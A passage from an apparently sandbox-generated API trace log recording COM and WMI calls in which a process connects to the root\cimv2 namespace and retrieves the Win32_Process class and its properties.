riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c2b8 | out: ppvObject=0x1b30c2b8*=0x0) returned 0x80004002 [0113.696] WbemLocator:IUnknown:AddRef (This=0x1b4ac010) returned 0x3 [0113.696] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ac010, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c178 | out: ppvObject=0x1b30c178*=0x0) returned 0x80004002 [0113.697] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ac010, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c100 | out: ppvObject=0x1b30c100*=0x0) returned 0x80004002 [0113.697] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ac010, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0f0 | out: ppvObject=0x1b30c0f0*=0x0) returned 0x80004002 [0113.697] CoGetContextToken (in: pToken=0x1b30c1a0 | out: pToken=0x1b30c1a0) returned 0x0 [0113.697] CoGetContextToken (in: pToken=0x1b30c620 | out: pToken=0x1b30c620) returned 0x0 [0113.697] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ac010, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6e0 | out: ppvObject=0x1b30c6e0*=0x0) returned 0x80004002 [0113.697] WbemLocator:IUnknown:Release (This=0x1b4ac010) returned 0x2 [0113.697] WbemLocator:IUnknown:Release (This=0x1b4ac010) returned 0x1 [0113.697] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0113.697] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0113.697] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ac010, riid=0x1b30d0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b4ac010) returned 0x0 [0113.697] WbemLocator:IUnknown:AddRef (This=0x1b4ac010) returned 0x3 [0113.697] WbemLocator:IUnknown:Release (This=0x1b4ac010) returned 0x2 [0113.697] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afca0, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0113.697] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afca0, lFlags=8, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0113.697] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afca0, lFlags=8, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0113.697] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d100 | out: ppv=0x1b30d100*=0x1b4ac210) returned 0x0 [0113.697] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b4ac210, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d348 | out: ppNamespace=0x1b30d348*=0x1b4e0bc0) returned 0x0 [0113.778] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0bc0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf78 | out: ppvObject=0x1b30cf78*=0x1b4aced0) returned 0x0 [0113.779] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b4aced0, pProxy=0x1b4e0bc0, pAuthnSvc=0x1b30d040, pAuthzSvc=0x1b30cfc0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4, pImpLevel=0x1b30cfd0, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4 | out: pAuthnSvc=0x1b30d040*=0xa, pAuthzSvc=0x1b30cfc0*=0x0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4*=0x6, pImpLevel=0x1b30cfd0*=0x2, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4*=0x1) returned 0x0 [0113.779] WbemLocator:IUnknown:Release (This=0x1b4aced0) returned 0x1 [0113.779] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0bc0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf10 | out: ppvObject=0x1b30cf10*=0x1b4acf18) returned 0x0 [0113.779] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0bc0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf20 | out: ppvObject=0x1b30cf20*=0x1b4aced0) returned 0x0 [0113.779] WbemLocator:IClientSecurity:SetBlanket (This=0x1b4aced0, pProxy=0x1b4e0bc0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0113.779] WbemLocator:IUnknown:Release (This=0x1b4aced0) returned 0x2 [0113.779] WbemLocator:IUnknown:Release (This=0x1b4acf18) returned 0x1 [0113.779] CoTaskMemFree (pv=0x1b461910) [0113.779] WbemLocator:IUnknown:Release (This=0x1b4ac210) returned 0x0 [0113.779] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0bc0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca10 | out: ppvObject=0x1b30ca10*=0x1b4acf18) returned 0x0 [0113.779] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acf18, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x0) returned 0x80004002 [0113.808] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acf18, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x0) returned 0x80004002 [0113.815] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0bc0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c298 | out: ppvObject=0x1b30c298*=0x0) returned 0x80004002 [0113.823] WbemLocator:IUnknown:AddRef (This=0x1b4acf18) returned 0x3 [0113.823] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acf18, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c158 | out: ppvObject=0x1b30c158*=0x0) returned 0x80004002 [0113.823] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acf18, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c0e0 | out: ppvObject=0x1b30c0e0*=0x0) returned 0x80004002 [0113.823] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acf18, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0d0 | out: ppvObject=0x1b30c0d0*=0x1b4acdf8) returned 0x0 [0113.823] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b4acdf8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c0f8 | out: pCid=0x1b30c0f8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0113.823] WbemLocator:IUnknown:Release (This=0x1b4acdf8) returned 0x3 [0113.823] CoGetContextToken (in: pToken=0x1b30c180 | out: pToken=0x1b30c180) returned 0x0 [0113.823] CoGetContextToken (in: pToken=0x1b30c600 | out: pToken=0x1b30c600) returned 0x0 [0113.823] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acf18, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x1b4acee0) returned 0x0 [0113.824] WbemLocator:IRpcOptions:Query (in: This=0x1b4acee0, pPrx=0x1b4acf18, dwProperty=2, pdwValue=0x1b30c6b0 | out: pdwValue=0x1b30c6b0) returned 0x80004002 [0113.824] WbemLocator:IUnknown:Release (This=0x1b4acee0) returned 0x3 [0113.824] WbemLocator:IUnknown:Release (This=0x1b4acf18) returned 0x2 [0113.824] CoGetContextToken (in: pToken=0x1b30ccc0 | out: pToken=0x1b30ccc0) returned 0x0 [0113.824] CoGetContextToken (in: pToken=0x1b30cbc0 | out: pToken=0x1b30cbc0) returned 0x0 [0113.824] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acf18, riid=0x1b30cd20*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30ccf0 | out: ppvObject=0x1b30ccf0*=0x1b4e0bc0) returned 0x0 [0113.824] WbemLocator:IUnknown:AddRef (This=0x1b4e0bc0) returned 0x4 [0113.824] WbemLocator:IUnknown:Release (This=0x1b4e0bc0) returned 0x3 [0113.824] WbemLocator:IUnknown:Release (This=0x1b4e0bc0) returned 0x2 [0113.824] SysStringLen (param_1=0x0) returned 0x0 [0113.824] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afca0, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0113.824] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afca0, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0113.824] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afca0, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0113.824] CoGetContextToken (in: pToken=0x1b30cde0 | out: pToken=0x1b30cde0) returned 0x0 [0113.824] WbemLocator:IUnknown:AddRef (This=0x1b4acf18) returned 0x3 [0113.824] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acf18, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cde0 | out: ppvObject=0x1b30cde0*=0x1b4acf18) returned 0x0 [0113.825] WbemLocator:IUnknown:Release (This=0x1b4acf18) returned 0x3 [0113.825] WbemLocator:IUnknown:Release (This=0x1b4acf18) returned 0x2 [0113.825] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af760, lFlags=2, puBuffLength=0x1b30d4e0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4e0*=0xe, pszText=0x0) returned 0x0 [0113.825] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af760, lFlags=2, puBuffLength=0x1b30d4e0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d4e0*=0xe, pszText="Win32_Process") returned 0x0 [0113.825] IWbemServices:GetObject (in: This=0x1b4e0bc0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d460*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d460*=0x1b4ce2c0, ppCallResult=0x0) returned 0x0 [0113.850] IWbemClassObject:Get (in: This=0x1b4ce2c0, wszName="__PATH", lFlags=0, pVal=0x1b30d3f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d558*=0, plFlavor=0x1b30d550*=0 | out: pVal=0x1b30d3f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b30d558*=8, plFlavor=0x1b30d550*=64) returned 0x0 [0113.850] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0113.850] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0113.850] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d428 | out: ppv=0x1b30d428*=0x6124e8) returned 0x0 [0113.850] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d418 | out: pAptType=0x1b30d418*=1) returned 0x0 [0113.850] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d420 | out: ppvObject=0x1b30d420*=0x0) returned 0x80004002 [0113.850] IUnknown:Release (This=0x6124e8) returned 0x1 [0113.851] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c818 | out: ppv=0x1b30c818*=0x1b4ac130) returned 0x0 [0113.851] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4ac130, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c900 | out: ppvObject=0x1b30c900*=0x0) returned 0x80004002 [0113.851] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4ac130, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8d8 | out: ppvObject=0x1b30c8d8*=0x1b4b0960) returned 0x0 [0113.851] WbemDefPath:IUnknown:Release (This=0x1b4ac130) returned 0x0 [0113.851] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c680 | out: ppvObject=0x1b30c680*=0x1b4b0960) returned 0x0 [0113.851] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c710 | out: ppvObject=0x1b30c710*=0x0) returned 0x80004002 [0113.851] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf08 | out: ppvObject=0x1b30bf08*=0x0) returned 0x80004002 [0113.852] WbemDefPath:IUnknown:AddRef (This=0x1b4b0960) returned 0x3 [0113.852] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdc8 | out: ppvObject=0x1b30bdc8*=0x0) returned 0x80004002 [0113.852] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd50 | out: ppvObject=0x1b30bd50*=0x0) returned 0x80004002 [0113.852] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x1b4ac510) returned 0x0 [0113.852] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4ac510, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd68 | out: pCid=0x1b30bd68*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0113.852] WbemDefPath:IUnknown:Release (This=0x1b4ac510) returned 0x3 [0113.852] CoGetContextToken (in: pToken=0x1b30bdf0 | out: pToken=0x1b30bdf0) returned 0x0 [0113.852] CoGetContextToken (in: pToken=0x1b30c270 | out: pToken=0x1b30c270) returned 0x0 [0113.852] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c330 | out: ppvObject=0x1b30c330*=0x0) returned 0x80004002 [0113.852] WbemDefPath:IUnknown:Release (This=0x1b4b0960) returned 0x2 [0113.852] WbemDefPath:IUnknown:Release (This=0x1b4b0960) returned 0x1 [0113.852] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0113.852] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0113.852] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x1b30d0c0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b4b0960) returned 0x0 [0113.852] WbemDefPath:IUnknown:AddRef (This=0x1b4b0960) returned 0x3 [0113.852] WbemDefPath:IUnknown:Release (This=0x1b4b0960) returned 0x2 [0113.852] WbemDefPath:IWbemPath:SetText (This=0x1b4b0960, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0113.853] IWbemClassObject:Get (in: This=0x1b4ce2c0, wszName="__SERVER", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=0, plFlavor=0x1b30d608*=0 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XC64ZB", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0113.853] SysStringByteLen (bstr="XC64ZB") returned 0xc [0113.853] SysStringByteLen (bstr="XC64ZB") returned 0xc [0113.853] IWbemClassObject:Get (in: This=0x1b4ce2c0, wszName="__NAMESPACE", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0113.853] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0113.853] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0113.853] IWbemClassObject:Get (in: This=0x1b4ce2c0, wszName="__CLASS", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0113.853] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0113.853] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0113.853] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0113.853] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0113.853] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0113.853] IUnknown:Release (This=0x6124e8) returned 0x1 [0113.854] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d2ea0) returned 0x0 [0113.854] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2ea0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0113.854] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2ea0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4b0a20) returned 0x0 [0113.854] WbemDefPath:IUnknown:Release (This=0x1b4d2ea0) returned 0x0 [0113.854] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0a20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4b0a20) returned 0x0 [0113.855] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0a20, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0113.855] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0a20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0113.855] WbemDefPath:IUnknown:AddRef (This=0x1b4b0a20) returned 0x3 [0113.855] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0a20, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0113.855] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0a20, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, 